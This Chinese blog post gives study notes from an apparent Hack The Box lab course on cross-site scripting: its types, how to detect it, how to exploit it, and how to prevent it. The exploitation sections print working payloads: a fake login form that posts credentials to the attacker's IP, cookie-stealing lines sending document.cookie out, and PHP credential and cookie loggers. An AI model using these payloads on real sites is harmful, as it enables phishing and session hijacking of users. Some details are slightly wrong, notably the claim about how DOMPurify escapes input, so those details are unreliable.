随着 Web 应用程序变得更加先进和普遍,Web 应用程序漏洞也随之增加。最常见的 Web 应用程序漏洞类型是跨站脚本 (XSS)漏洞。 XSS 漏洞利用用户输入清理中的缺陷将 JavaScript 代码“写入”页面并在客户端执行,从而导致多种类型的攻击。
典型的 Web 应用程序的工作原理是从后端服务器接收 HTML 代码并将其呈现在客户端互联网浏览器上。当易受攻击的 Web 应用程序未正确清理用户输入时,恶意用户可以在输入字段(例如评论/回复)中注入额外的 JavaScript 代码,因此一旦其他用户查看同一页面,他们就会在不知不觉中执行恶意 JavaScript 代码。
XSS漏洞仅在客户端执行,因此不会直接影响后端服务器。它们只能影响执行漏洞的用户。 XSS漏洞对后端服务器的直接影响可能相对较低,但它们在Web应用程序中非常常见,因此这相当于中等风险( low impact + high probability = medium risk
),我们应该始终尝试通过检测、修复和主动预防此类漏洞来减少风险。
XSS 漏洞可以促进广泛的攻击,可以是任何可以通过浏览器 JavaScript 代码执行的攻击。 XSS 攻击的一个基本示例是让目标用户无意中将其会话 cookie 发送到攻击者的 Web 服务器。另一个示例是让目标的浏览器执行导致恶意操作的 API 调用,例如将用户的密码更改为攻击者选择的密码。 XSS 攻击还有许多其他类型,从比特币挖掘到展示广告
由于 XSS 攻击在浏览器内执行 JavaScript 代码,因此它们仅限于浏览器的 JS 引擎(即 Chrome 中的 V8)。它们无法执行系统范围的 JavaScript 代码来执行系统级代码执行之类的操作。在现代浏览器中,它们也仅限于易受攻击网站的同一域。尽管如此,如上所述,能够在用户的浏览器中执行 JavaScript 仍然可能会导致各种各样的攻击。除此之外,如果熟练的研究人员识别出Web浏览器中的二进制漏洞(例如Chrome中的堆溢出),他们可以利用XSS漏洞在目标浏览器上执行JavaScript漏洞,最终突破浏览器的漏洞沙箱并在用户计算机上执行代码。
XSS 漏洞几乎存在于所有现代 Web 应用程序中,并且在过去二十年中一直被积极利用。一个著名的 XSS 示例是Samy Worm ,它是一种基于浏览器的蠕虫,早在 2005 年就利用了社交网站 MySpace 中存储的 XSS 漏洞。它通过在受害者的 MySpace 页面上发布消息来查看受感染的网页时执行上面写着:“萨米是我的英雄。”该消息本身还包含相同的 JavaScript 有效负载,以便在其他人查看时重新发布相同的消息。一天之内,超过一百万的 MySpace 用户在他们的页面上发布了这条消息。尽管这个特定的有效负载没有造成任何实际危害,但该漏洞可能被用于更邪恶的目的,例如窃取用户的信用卡信息,在其浏览器上安装键盘记录器,甚至利用用户网络浏览器中的二进制漏洞(这在当时的网络浏览器中更为常见)。
Type 类型 | Description 描述 |
---|---|
Stored (Persistent) XSS | 最关键的 XSS 类型,当用户输入存储在后端数据库中,然后在检索时显示(例如,帖子或评论)时,就会发生这种情况 |
Reflected (Non-Persistent) XSS | 当用户输入经后端服务器处理后显示在页面上但未存储(例如搜索结果或错误消息)时发生 |
DOM-based XSS | 另一种非持久性 XSS 类型,当用户输入直接显示在浏览器中并完全在客户端处理,而不到达后端服务器(例如,通过客户端 HTTP 参数或锚标记)时发生 |
第一种也是最关键的 XSS 漏洞类型是Stored XSS
或Persistent XSS
。如果我们注入的 XSS 有效负载存储在后端数据库中并在访问页面时检索,这意味着我们的 XSS 攻击是持久的,并且可能会影响访问该页面的任何用户。
这使得这种类型的 XSS 变得最为严重,因为它会影响更广泛的受众,因为任何访问该页面的用户都将成为这种攻击的受害者。此外,存储型 XSS 可能不容易删除,并且有效负载可能需要从后端数据库中删除
我们可以使用以下基本 XSS 负载来测试页面是否容易受到 XSS 攻击
html<script>alert(window.origin)</script>
我们使用此有效负载,因为它是一种非常容易发现的方法,可以了解我们的 XSS 有效负载何时已成功执行。假设该页面允许任何输入并且不对其执行任何清理。在这种情况下,在我们输入有效负载或刷新页面后,警报应该立即弹出,并显示正在执行的页面的 URL:
正如我们所看到的,我们确实收到了警报,这意味着该页面容易受到 XSS 攻击,因为我们的有效负载已成功执行。我们可以通过单击 [ CTRL+U
] 或右键单击并选择View Page Source
查看页面源来进一步确认这一点,我们应该在页面源中看到我们的有效负载:
[!NOTE]
**提示:**许多现代 Web 应用程序利用跨域 IFrame 来处理用户输入,因此即使 Web 表单容易受到 XSS 攻击,它也不会成为主 Web 应用程序上的漏洞。这就是为什么我们在警报框中显示
window.origin
的值,而不是像1
这样的静态值。在这种情况下,警报框将显示正在执行的 URL,并在使用 IFrame 的情况下确认哪个表单是易受攻击的表单。
由于某些现代浏览器可能会在特定位置阻止alert()
JavaScript 函数,因此了解一些其他基本 XSS 负载来验证 XSS 的存在可能会很方便。其中一种 XSS 有效负载是<plaintext>
,它将停止渲染后面的 HTML 代码并将其显示为纯文本。另一个易于发现的有效负载是<script>print()</script>
它将弹出浏览器打印对话框,该对话框不太可能被任何浏览器阻止。尝试使用这些有效负载,看看它们是如何工作的。您可以使用重置按钮删除任何当前的有效负载。
Non-Persistent XSS
漏洞有两种类型: Reflected XSS
,由后端服务器处理;以及DOM-based XSS
,完全在客户端处理,永远不会到达后端服务器。与持久性 XSS 不同, Non-Persistent XSS
漏洞是暂时的,不会通过页面刷新而持久存在。因此,我们的攻击只会影响目标用户,不会影响访问该页面的其他用户。
当我们的输入到达后端服务器并未经过滤或清理而返回给我们时,就会发生Reflected XSS
漏洞。在很多情况下,我们的整个输入可能会返回给我们,例如错误消息或确认消息。在这些情况下,我们可能会尝试使用 XSS 有效负载来查看它们是否执行。然而,由于这些通常是临时消息,一旦我们离开页面,它们就不会再次执行,因此它们是非Non-Persistent
。
示例:
shuru
输入test后,返回一个告警,并且返回了我们输入的字符且无过滤。
这时候我们再试一试之前我们用过的xss负载
javascript<script>alter(window.origin)</script>
和之前一样的反馈,和之前不同的是刷新页面后不再出现,即不持久。
在这种情况下,我们看到错误消息现在显示Task '' could not be added.
。由于我们的有效负载是用<script>
标签包装的,因此浏览器不会渲染它,因此我们得到的是空单引号''
。我们可以再次查看页面源代码来确认错误消息包含我们的XSS负载:
但如果 XSS 漏洞是非持久性的,我们如何利用它来瞄准受害者呢?
这取决于使用哪个 HTTP 请求将我们的输入发送到服务器。我们可以通过 Firefox Developer Tools
检查这一点,方法是单击 [ CTRL+Shift+I
] 并选择Network
选项卡。然后,我们可以再次放置test
负载并单击Add
发送它:
可以发现实际上是用get方法传递一个task参数
既然如此我们现在可以在cmd上直接curl来实现xss。
Document Object Model (DOM)
.)第三种也是最后一种 XSS 类型是另一种Non-Persistent
类型,称为DOM-based XSS
。 reflected XSS
通过 HTTP 请求将输入数据发送到后端服务器,而 DOM XSS 完全在客户端通过 JavaScript 进行处理。当使用 JavaScript 通过Document Object Model (DOM)
更改页面源时,就会发生 DOM XSS。
我们看到 URL 中的输入参数对我们添加的项目使用了井号标签#
,这意味着这是一个完全在浏览器上处理的客户端参数。这表明输入正在客户端通过 JavaScript 进行处理,并且永远不会到达后端;因此它是一个DOM-based XSS
。
为了进一步理解基于DOM的XSS漏洞的本质,我们必须了解页面上显示的对象的Source
和Sink
的概念。 Source
是接受用户输入的 JavaScript 对象,它可以是任何输入参数,如 URL 参数或输入字段,如我们上面所见。
另一方面, Sink
是将用户输入写入页面上的 DOM 对象的函数。如果Sink
函数没有正确清理用户输入,则很容易受到 XSS 攻击。写入 DOM 对象的一些常用 JavaScript 函数包括:
document.write()
DOM.innerHTML
DOM.outerHTML
此外,一些写入 DOM 对象的jQuery
库函数包括:
add()
after()
append()
如果Sink
函数在没有任何清理的情况下写入确切的输入(如上述函数),并且没有使用其他清理方法,那么我们就知道该页面应该容易受到 XSS 的攻击。
我们可以查看To-Do
Web 应用程序的源代码,并检查script.js
,我们将看到Source
是从task=
参数中获取的:
javascriptvar pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
在这些行的正下方,我们看到页面使用innerHTML
函数在todo
DOM中写入task
变量:
javascriptdocument.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
所以,我们可以看到我们可以控制输入,并且输出没有被清理,所以这个页面应该容易受到 DOM XSS 的攻击。
如果我们尝试之前使用的 XSS 有效负载,我们会发现它不会执行。这是因为innerHTML
函数不允许在其中使用<script>
标记作为安全功能。尽管如此,我们使用的许多其他 XSS 负载不包含<script>
标签,例如以下 XSS 负载:
html<img src="" onerror=alert(window.origin)>
上面的行创建了一个新的 HTML 图像对象,该对象具有onerror
属性,可以在找不到图像时执行 JavaScript 代码。因此,当我们提供了一个空图像链接( ""
)时,我们的代码应该始终被执行,而不必使用<script>
标签:
现在,我们应该很好地了解什么是 XSS 漏洞、XSS 的三种类型以及每种类型与其他类型的区别。我们还应该了解 XSS 如何通过将 JavaScript 代码注入客户端页面源代码来工作,从而执行额外的代码,稍后我们将学习如何利用这些代码来发挥我们的优势。
在本节中,我们将介绍检测 Web 应用程序中 XSS 漏洞的各种方法。在 Web 应用程序漏洞(以及一般的所有漏洞)中,检测它们可能变得与利用它们一样困难。然而,由于XSS漏洞广泛存在,许多工具可以帮助我们检测和识别它们。
几乎所有 Web 应用程序漏洞扫描程序(例如Nessus 、 Burp Pro或ZAP )都具有检测所有三种类型的 XSS 漏洞的各种功能。这些扫描器通常执行两种类型的扫描:被动扫描,检查客户端代码是否存在基于 DOM 的潜在漏洞;主动扫描,发送各种类型的有效负载,尝试通过页面源中的有效负载注入来触发 XSS
虽然付费工具通常在检测 XSS 漏洞方面具有更高的准确度(特别是在需要安全绕过时),但我们仍然可以找到可以帮助我们识别潜在 XSS 漏洞的开源工具。此类工具通常通过识别网页中的输入字段,发送各种类型的 XSS 有效负载,然后比较渲染的页面源以查看是否可以在其中找到相同的有效负载,这可能表明 XSS 注入成功。不过,这并不总是准确的,因为有时,即使注入了相同的有效负载,由于各种原因也可能无法成功执行,因此我们必须始终手动验证 XSS 注入
一些可以帮助我们发现 XSS 的常见开源工具包括XSS Strike 、 Brute XSS和XSSer 。我们可以通过使用git clone
将其克隆到我们的虚拟机来尝试XSS Strike
:
然后我们可以运行该脚本并使用-u
为其提供带有参数的 URL。让我们尝试将它与前面部分中的Reflected XSS
示例一起使用:
pythonpython xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
XSStrike v3.1.4
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: task
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <HtMl%09onPoIntERENTER+=+confirm()>
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]
正如我们所看到的,该工具从第一个有效负载中识别出该参数容易受到 XSS 攻击。
尝试通过在之前的练习之一中进行测试来验证上述有效负载。您还可以尝试测试其他工具并在相同的练习中运行它们,以了解它们检测 XSS 漏洞的能力
当涉及手动XSS发现时,发现XSS漏洞的难度取决于Web应用程序的安全级别。基本的 XSS 漏洞通常可以通过测试各种 XSS 负载来发现,但识别高级 XSS 漏洞需要高级的代码审查技能。
查找 XSS 漏洞的最基本方法是针对给定网页中的输入字段手动测试各种 XSS 有效负载。我们可以在线找到大量 XSS 有效负载,例如[PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/README.md)上的负载或PayloadBox上的负载。然后,我们可以开始逐一测试这些有效负载,方法是复制每个有效负载并将其添加到我们的表单中,然后查看是否弹出警报框。
[!NOTE]
注意:XSS 可以注入到 HTML 页面中的任何输入中,这不仅限于 HTML 输入字段,还可能存在于 HTTP 标头中,例如 Cookie 或 User-Agent(即,当它们的值显示在页面上时)。
您会注意到,尽管我们正在处理最基本类型的 XSS 漏洞,但上述大多数有效负载都不适用于我们的示例 Web 应用程序。这是因为这些有效负载是为各种注入点编写的(例如在单引号后注入)或旨在逃避某些安全措施(例如清理过滤器)。此外,此类有效负载利用各种注入向量来执行 JavaScript 代码,例如基本的<script>
标签、其他HTML Attributes
(例如<img>
,甚至CSS Style
属性。这就是为什么我们可以预期这些有效负载中的许多不会在所有测试用例中工作,因为它们被设计为与某些类型的注入一起工作。
这就是为什么手动复制/粘贴 XSS 有效负载的效率不是很高,因为即使 Web 应用程序存在漏洞,我们也可能需要一段时间才能识别漏洞,特别是当我们有很多输入字段需要测试时。这就是为什么编写我们自己的 Python 脚本来自动发送这些有效负载,然后比较页面源以查看我们的有效负载是如何呈现的可能会更有效。这可以在 XSS 工具无法轻松发送和比较有效负载的高级情况下为我们提供帮助。
检测XSS漏洞最可靠的方法是手动代码审查,它应该涵盖后端和前端代码。如果我们准确地理解我们的输入在到达网络浏览器之前是如何被处理的,我们就可以编写一个可以高度可靠地工作的自定义有效负载。
在上一节中,我们在讨论基于 DOM 的 XSS 漏洞的Source
和Sink
时查看了 HTML 代码审查的基本示例。这让我们快速了解了前端代码审查如何识别 XSS 漏洞,尽管这是一个非常基本的前端示例。
对于更常见的 Web 应用程序,我们不太可能通过有效负载列表或 XSS 工具找到任何 XSS 漏洞。这是因为此类 Web 应用程序的开发人员可能通过漏洞评估工具运行其应用程序,然后在发布之前修补任何已识别的漏洞。对于这种情况,手动代码审查可能会发现未检测到的 XSS 漏洞,这些漏洞可能会在公共 Web 应用程序的公开版本中幸存下来。这些也是超出本模块范围的高级技术。不过,如果您有兴趣学习它们,安全编码 101:JavaScript和白盒渗透测试 101:命令注入模块彻底涵盖了这个主题。
现在我们了解了不同类型的 XSS 以及发现网页中 XSS 漏洞的各种方法,我们可以开始学习如何利用这些 XSS 漏洞了。如前所述,XSS 攻击的损害和范围取决于 XSS 的类型,存储型 XSS 最为严重,而基于 DOM 的次要程度较低。
通常与存储的 XSS 漏洞一起使用的最常见攻击之一是网站破坏攻击。 Defacing
网站意味着改变网站访问者的外观。黑客团体破坏网站并声称他们已成功入侵该网站的情况很常见,例如黑客在 2018 年破坏了英国国家医疗服务体系 (NHS)。此类攻击可能会引起媒体的强烈反响,并可能严重影响公司的投资和股价,尤其是对银行和科技公司而言。
尽管可以利用许多其他漏洞来实现相同的目的,但存储型 XSS 漏洞是最常用的漏洞之一。
我们可以利用注入的 JavaScript 代码(通过 XSS)使网页看起来像我们喜欢的任何方式。然而,污损网站通常用于发送简单的消息(即,我们成功入侵了您),因此为被污损的网页提供漂亮的外观并不是真正的主要目标。
通常使用四个 HTML 元素来更改网页的主要外观:
document.body.style.background
document.body.background
document.title
DOM.innerHTML
我们可以利用其中的两个或三个元素向网页写入基本消息,甚至删除易受攻击的元素,这样快速重置网页就会变得更加困难,正如我们接下来将看到的。
让我们回到Stored XSS
练习,并将其用作我们攻击的基础。您可以返回到Stored XSS
部分来生成服务器并执行后续步骤。
要更改网页的背景,我们可以选择某种颜色或使用图像。我们将使用一种颜色作为背景,因为大多数污损攻击都使用深色作为背景。为此,我们可以使用以下有效负载:
html<script>document.body.style.background = "#141d2b"</script>
[!NOTE]
提示:这里我们将背景颜色设置为默认的 Hack The Box 背景颜色。我们可以使用任何其他十六进制值,或者可以使用命名颜色,例如
= "black"
。
将有效负载添加到To-Do
列表后,我们将看到背景颜色发生了变化:
由于我们正在利用存储的 XSS 漏洞,因此该信息将在页面刷新后持续存在,并且对访问该页面的任何人都会显示。
另一种选择是使用以下有效负载将图像设置为背景:
由于我们正在利用存储的 XSS 漏洞,因此该信息将在页面刷新后持续存在,并且对访问该页面的任何人都会显示。
另一种选择是使用以下有效负载将图像设置为背景:
我们可以使用document.title
JavaScript 属性将页面标题从2Do
更改为我们选择的任何标题:
代码: html
html<script>document.title = 'HackTheBox Academy'</script>
我们可以从页面窗口/选项卡中看到我们的新标题已经替换了之前的标题:
当我们想要更改网页上显示的文本时,我们可以利用各种 JavaScript 函数来实现。例如,我们可以使用innerHTML
属性更改特定HTML元素/DOM的文本:
我们还可以利用 jQuery 函数更有效地实现相同的目标,或者更改一行中多个元素的文本(为此,必须在页面源代码中导入jQuery
库
javascript$("#todo").html('New Text');
这为我们提供了各种选项来自定义网页上的文本并进行细微调整以满足我们的需求。然而,由于黑客组织通常会在网页上留下简单的消息,而不会在网页上留下任何其他内容,因此我们将使用innerHTML
更改body
的整个HTML代码,如下所示:
javascriptdocument.getElementsByTagName('body')[0].innerHTML = "New Text"
正如我们所看到的,我们可以指定body
元素 document.getElementsByTagName('body')
,并通过指定[0]
,我们选择第一个body
元素,该元素应该更改网页的整个文本。我们也可以使用jQuery
来实现同样的事情。但是,在发送有效负载并进行永久更改之前,我们应该单独准备 HTML 代码,然后使用innerHTML
将 HTML 代码设置为页面源。
在我们的练习中,我们将从Hack The Box Academy
的主页借用 HTML 代码:
这是因为我们注入的 JavaScript 代码在执行时会更改页面的外观,在本例中,该代码位于源代码的末尾。如果我们的注入是在源代码中间的一个元素中,那么其他脚本或元素可能会在其后添加,因此我们必须考虑它们以获得我们需要的最终外观。
另一种非常常见的 XSS 攻击类型是网络钓鱼攻击。网络钓鱼攻击通常利用看似合法的信息来诱骗受害者将敏感信息发送给攻击者。 XSS 网络钓鱼攻击的一种常见形式是通过注入虚假登录表单,将登录详细信息发送到攻击者的服务器,然后攻击者的服务器可用于代表受害者登录并控制其帐户和敏感信息。
此外,假设我们要识别特定组织的 Web 应用程序中的 XSS 漏洞。在这种情况下,我们可以使用此类攻击作为网络钓鱼模拟练习,这也将有助于我们评估组织员工的安全意识,特别是如果他们信任易受攻击的 Web 应用程序并且不希望它伤害他们
在本节末尾,我们首先尝试从服务器的/phishing
处的 Web 应用程序中查找 XSS 漏洞。当我们访问该网站时,我们看到它是一个简单的在线图像查看器,我们可以在其中输入图像的 URL,它就会显示它:
这种形式的图像查看器在在线论坛和类似的 Web 应用程序中很常见。由于我们可以控制 URL,因此我们可以从使用我们一直在使用的基本 XSS 负载开始。但是当我们尝试该有效负载时,我们发现没有任何内容被执行,并且我们得到了dead image url
图标:
因此,我们必须运行之前学过的 XSS 发现流程来查找有效的 XSS 负载。
一旦我们识别出有效的 XSS 有效负载,我们就可以继续进行网络钓鱼攻击。要执行 XSS 网络钓鱼攻击,我们必须注入一段 HTML 代码,在目标页面上显示登录表单。此表单应将登录信息发送到我们正在侦听的服务器,以便一旦用户尝试登录,我们就会获取他们的凭据。
我们可以轻松找到基本登录表单的 HTML 代码,或者我们可以编写自己的登录表单。以下示例应显示一个登录表单:
html<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
在上面的 HTML 代码中, OUR_IP
是我们虚拟机的 IP,我们可以使用tun0
下的 ( ip a
) 命令找到它。稍后我们将监听该 IP 以检索从表单发送的凭据。登录表单应如下所示:
html<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
接下来,我们应该准备 XSS 代码并在易受攻击的表单上进行测试。要将 HTML 代码写入易受攻击的页面,我们可以使用 JavaScript 函数document.write()
,并将其用在我们之前在 XSS 发现步骤中找到的 XSS 有效负载中。一旦我们将 HTML 代码缩小为一行并将其添加到write
函数中,最终的 JavaScript 代码应如下所示:
javascriptdocument.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
现在,我们可以使用 XSS 有效负载注入此 JavaScript 代码(即,而不是运行alert(window.origin)
JavaScript 代码)。在本例中,我们正在利用Reflected XSS
漏洞,因此我们可以复制 URL 及其参数中的 XSS 负载,就像我们在Reflected XSS
部分中所做的那样,当我们访问恶意 URL 时,页面应如下所示:
我们需要删除url表单,来引导用户填写我们的xss注入表单。
javascript'><script>document.write('<h3 style="text-align: center;">Please login to continue</h3><form action=http://192.168.183.128:80/><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="username" name="username" placeholder="Username"><input style="width: 20%; padding: 5px 5px; margin: 10px auto; box-sizing: border_box; display: block;" type="password" name="password" placeholder="Password"><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
我们使用这样的xss注入代码,伪造login登陆页面,并填写自己的ip:port,删除原有表单。
我们在本机
shellsudo nc -lvnp 80
然后远程填写表单并提交:
成功截获凭据。
然而,由于我们仅使用netcat
侦听器进行侦听,因此它无法正确处理 HTTP 请求,并且受害者会收到Unable to connect
错误,这可能会引起一些怀疑。因此,我们可以使用一个基本的 PHP 脚本来记录来自 HTTP 请求的凭据,然后将受害者返回到原始页面,而无需进行任何注入。在这种情况下,受害者可能会认为他们已成功登录,并将按预期使用图像查看器。
以下 PHP 脚本应该满足我们的需要,我们将其写入虚拟机上的一个文件中,我们将其命名为index.php
并将其放置在/tmp/tmpserver/
中( don't forget to replace SERVER_IP with the ip from our exercise
):
php<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
http://10.129.29.26/phishing/index.php?url='/%3E%3Cscript%3Edocument.write('%3Ch3%3EPlease%20login%20to%20continue%3C/h3%3E%3Cform%20action=http://192.168.183.128:80%3E%3Cinput%20type=%22username%22%20name=%22username%22%20placeholder=%22Username%22%3E%3Cinput%20type=%22password%22%20name=%22password%22%20placeholder=%22Password%22%3E%3Cinput%20type=%22submit%22%20name=%22submit%22%20value=%22Login%22%3E%3C/form%3E');document.getElementById('urlform').remove();%3C/script%3E%3C!--
现代 Web 应用程序利用 cookie 在不同的浏览会话中维护用户的会话。这使得用户只需登录一次并保持登录会话处于活动状态,即使他们在其他时间或日期访问同一网站也是如此。但是,如果恶意用户从受害者的浏览器获取 cookie 数据,他们可能能够在不知道受害者用户凭据的情况下获得登录访问权限。
通过在受害者的浏览器上执行 JavaScript 代码的能力,我们也许能够收集他们的 cookie 并将其发送到我们的服务器,通过执行Session Hijacking
(又名Cookie Stealing
)攻击来劫持他们的登录会话。
我们通常通过尝试发现 XSS 漏洞是否存在以及何处存在来启动 XSS 攻击。然而,在本练习中,我们将处理Blind XSS
漏洞。当漏洞在我们无权访问的页面上触发时,就会出现盲目 XSS 漏洞。
盲目 XSS 漏洞通常发生在只能由某些用户(例如管理员)访问的表单中。一些潜在的例子包括:
让我们在本节末尾的服务器 ( /hijacking
) 上的 Web 应用程序上运行测试。我们看到一个包含多个字段的用户注册页面,因此让我们尝试提交一个test
用户来查看表单如何处理数据:
这表明我们将看不到我们的输入将如何处理或在浏览器中的外观如何,因为它只会出现在我们无权访问的某个管理面板中。在正常(即非盲)情况下,我们可以测试每个字段,直到收到alert
框,就像我们在整个模块中所做的那样。但是,由于在这种情况下我们无法访问管理面板
为此,我们可以使用上一节中使用的相同技巧,即使用 JavaScript 有效负载将 HTTP 请求发送回我们的服务器。如果 JavaScript 代码被执行,我们将在我们的机器上收到响应,我们就会知道该页面确实容易受到攻击。
然而,这引入了两个问题:
How can we know which specific field is vulnerable?
由于任何字段都可能执行我们的代码,因此我们无法知道其中哪个字段执行了。How can we know what XSS payload to use?
既然页面可能存在漏洞,但有效负载可能无法工作?在 HTML 中,我们可以在<script>
标记内编写 JavaScript 代码,但我们也可以通过提供远程脚本的 URL 来包含远程脚本,如下所示:
'><script src="http://192.168.183.128:8080/script.js"></script>
因此,我们可以使用它来执行在我们的虚拟机上提供的远程 JavaScript 文件。我们可以将请求的脚本名称从script.js
更改为我们要注入的字段的名称,这样当我们在虚拟机中收到请求时,我们就可以识别执行脚本的易受攻击的输入字段,如下所示:
html'><script src="http://192.168.183.128:8080/username"></script>
如果我们收到/username
的请求,那么我们就知道username
段容易受到 XSS 攻击,等等。这样,我们就可以开始测试加载远程脚本的各种 XSS 有效负载,并查看其中哪个向我们发送了请求。我们可以使用[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#blind-xss)的一些示例。
正如我们所看到的,各种有效负载都以像'>
这样的注入开始,这可能会也可能不会起作用,具体取决于我们的输入在后端的处理方式。正如前面在XSS Discovery
部分中提到的,如果我们能够访问源代码(即在 DOM XSS 中),就可以精确地编写成功注入所需的有效负载。这就是为什么Blind XSS对于DOM XSS类型的漏洞有更高的成功率。
在开始发送有效负载之前,我们需要使用netcat
或php
在虚拟机上启动侦听器,如上一节所示。
[!TIP]
我们会注意到,即使我们尝试操纵 HTTP 请求参数,电子邮件也必须匹配电子邮件格式,因为它似乎在前端和后端都经过验证。因此,电子邮件字段不易受到攻击,我们可以跳过对其进行测试。同样,我们可以跳过密码字段,因为密码通常经过哈希处理并且通常不会以明文形式显示。这有助于我们减少需要测试的潜在易受攻击的输入字段的数量。
一旦我们找到有效的 XSS 有效负载并识别出易受攻击的输入字段,我们就可以继续利用 XSS 并执行会话劫持攻击。
会话劫持攻击与我们在上一节中执行的网络钓鱼攻击非常相似。它需要一个 JavaScript 负载来向我们发送所需的数据,并需要一个托管在我们服务器上的 PHP 脚本来抓取和解析传输的数据。
我们可以使用多个 JavaScript 有效负载来获取会话 cookie 并将其发送给我们,如[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#exploit-code-or-poc)所示:
javascriptdocument.location='http://192.168.183.128:8080/index.php?c='+document.cookie;
new Image().src='http://192.168.183.128:8080/index.php?c='+document.cookie;
当我们的 PHP 服务器运行时,我们现在可以使用代码作为 XSS 有效负载的一部分,将其发送到易受攻击的输入字段中,并且我们应该使用 cookie 值调用我们的服务器。然而,如果有很多cookie,我们可能不知道哪个cookie值属于哪个cookie头。因此,我们可以编写一个 PHP 脚本来将它们用新行分割并将它们写入文件中。在这种情况下,即使多个受害者触发了 XSS 漏洞,我们也会在一个文件中获取他们所有的 cookie。
php<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
现在,我们等待受害者访问易受攻击的页面并查看我们的 XSS 有效负载。一旦他们这样做,我们将在我们的服务器上收到两个请求,一个针对script.js
,这反过来将使用 cookie 值发出另一个请求:
shell-session10.10.10.10:52798 [200]: /script.js 10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2
最后,我们可以在login.php
页面上使用这个cookie来访问受害者的帐户。为此,一旦我们导航到/hijacking/login.php
,我们可以在 Firefox 中单击Shift+F9
以显示开发人员工具中的Storage
栏。然后,我们可以点击右上角的+
按钮并添加我们的cookie,其中Name
是=
之前的部分, Value
是=
之后的部分,来自我们窃取的cookie:
一旦我们设置了 cookie,我们就可以刷新页面,并且我们将作为受害者获得访问权限。
由于 Web 应用程序的前端是大多数(但不是全部)用户输入的来源,因此必须使用 JavaScript 清理和验证前端的用户输入。
例如,在XSS Discovery
部分的练习中,我们看到如果电子邮件格式无效,Web 应用程序将不允许我们提交表单。这是通过以下 JavaScript 代码完成的:
javascriptfunction validateEmail(email) {
const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test($("#login input[name=email]").val());
}
正如我们所看到的,此代码正在测试email
输入字段,并返回true
或false
是否与电子邮件格式的正则表达式验证匹配。
除了输入验证之外,我们还应该始终通过转义任何特殊字符来确保不允许任何包含 JavaScript 代码的输入。为此,我们可以利用DOMPurify JavaScript 库,如下所示:
javascript<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize( dirty );
这将使用反斜杠\
转义任何特殊字符,这应该有助于确保用户不会发送任何带有特殊字符的输入(例如 JavaScript 代码),这应该可以防止 DOM XSS 等漏洞。
最后,我们应该始终确保永远不会在某些 HTML 标签中直接使用用户输入,例如
<script></script>
<style></style>
<div name='INPUT'></div>
<!-- -->
另一方面,我们还应该确保通过后端措施来防止存储型和反射型 XSS 漏洞。正如我们在XSS Discovery
部分练习中看到的那样,即使它具有前端输入验证,这也不足以阻止我们将恶意负载注入到表单中。所以,我们在后端也应该有XSS预防措施。这可以通过输入和输出清理和验证、服务器配置和有助于防止 XSS 漏洞的后端工具来实现。
后端的输入验证与前端非常相似,它使用正则表达式或库函数来确保输入字段是预期的。如果不匹配,那么后端服务器将拒绝它并且不显示它。 PHP 后端上的电子邮件验证示例如下:
phpif (filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)) {
// do task
} else {
// reject input - do not display it
}
例如,对于 PHP 后端,我们可以使用addslashes
函数通过用反斜杠转义特殊字符来清理用户输入:
phpaddslashes($_GET['email'])
在任何情况下,直接的用户输入(例如$_GET['email']
)都不应该直接显示在页面上,因为这可能会导致 XSS 漏洞。
javascriptimport DOMPurify from 'dompurify';
var clean = DOMPurify.sanitize(dirty);
后端需要注意的另一个重要方面是Output Encoding
。这意味着我们必须将任何特殊字符编码到 HTML 代码中,如果我们需要显示整个用户输入而不引入 XSS 漏洞,这会很有帮助。对于 PHP 后端,我们可以使用htmlspecialchars
或htmlentities
函数,它们会将某些特殊字符编码到 HTML 代码中(例如<
编码为 ‘<’),这样浏览器会正确显示它们,但不会引起任何问题任何类型的注入:
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!